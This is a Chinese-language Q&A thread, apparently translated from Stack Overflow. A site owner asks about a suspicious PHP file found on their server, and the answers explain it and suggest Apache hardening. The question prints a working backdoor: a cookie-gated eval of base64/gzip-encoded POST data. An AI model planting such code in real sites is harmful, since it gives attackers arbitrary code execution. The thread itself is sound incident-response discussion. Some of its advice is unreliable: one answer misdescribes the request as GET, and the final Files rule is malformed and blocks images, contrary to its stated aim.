我发现以下代码出现在我服务器的多个网站上的两个相同的.php文件中。这些文件有不起眼的名称,例如“reminder.php”(但每次都有不同的名称),并出现在我的/ scripts /和/ uploads /文件夹中,有时会出现在其他文件夹中。
它们的外观并非完全随机,但我不太了解Apache服务器或PHP知道a)它是如何到达那里的b)它的作用。
检查日志,它们都在相似的时间出现,并被调用一次,这就是全部。
非常感谢任何帮助。
if (isset($_COOKIE["adm"])) {
if (isset($_POST['crc'], $_POST['cmd'])) {
if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
eval(gzuncompress(base64_decode($_POST['cmd'])));
} else
echo "repeat_cmd";
}
}
答案 0 :(得分:2)
该文件允许恶意人员在您的系统上执行他们想要的任何PHP代码。
基本上,如果已经满足某些验证(即恶意人员具有给定的cookie值),它将采用POSTed“cmd”,base64解码它,gzip解压缩它,并将其评估为PHP。
我建议您更改密码,并重新安装apache以获得良好的衡量标准。也可以立即删除这些文件,或者如果可以远程删除,则从备份中恢复。
答案 1 :(得分:1)
如果客户端cookie中存在密钥adm
,则此代码将(在服务器上)执行它在POST请求中找到的任意代码。该请求将进行Base-64编码和加密,以模糊其内容。可以执行任何代码,包括一个用于格式化硬盘驱动器的代码(如果您的PHP服务器设置为允许该代码)。
你被黑了。立即使服务器脱机。在擦除主机之前获得一些帮助来运行分析,如果可以的话 - 你不想重新安装并上网,只是为了再次被黑客攻击。更改所有密码并锁定服务器是一个良好的开端。
答案 2 :(得分:1)
基本上,该代码允许用户执行此操作:
yoursite.com/reminder.php?cmd=blahblahblah
这部分:
blahblahblah
是一个gzip压缩的base64编码字符串。一旦解码并且未被压缩,服务器就会eval()
。
换句话说,你的服务器搞砸了,因为任何人都可以在其上运行任何代码,包括上传文件,删除内容,编辑内容等。
我建议你现在让你的网站离线,直到你修复它。
问题可能是未经过规范化的公共/uploads
目录。如果您不过滤用户的上传和,请保持上传文件夹公开,他们可以上传并执行他们想要的任何内容。
您网站上的内容是什么?一个CMS?还是完全是手工制作的?
答案 3 :(得分:1)
主要问题是,这些文件是如何来的??
几种可能性:
php_value
指令设置每个应用程序的php设置,并至少调整open_basedir
,upload_tmp_dir
和session.save_path
mod_security
,但他们可能是其他人。为避免在不应包含php脚本的目录(如上传文件夹)上执行PHP脚本,您可以添加此规则(在<Directory>
部分或.htaccess中):
AddType text/plain .php
AddType text/plain .phps
AddType text/plain .php3
AddType text/plain .php4
AddType text/plain .php5
Options -Indexes
这将强制此目录中的所有php文件作为简单文本提供。另一个解决方案是强制许多扩展成为cgi脚本,然后禁止执行cgi脚本:
Options -ExecCGI
AddHandler cgi-script .php .php3 .php4 .php5 .phps .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi
您还可以根据扩展名限制在那里允许的文件(如果不是图片,则禁止此处):
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>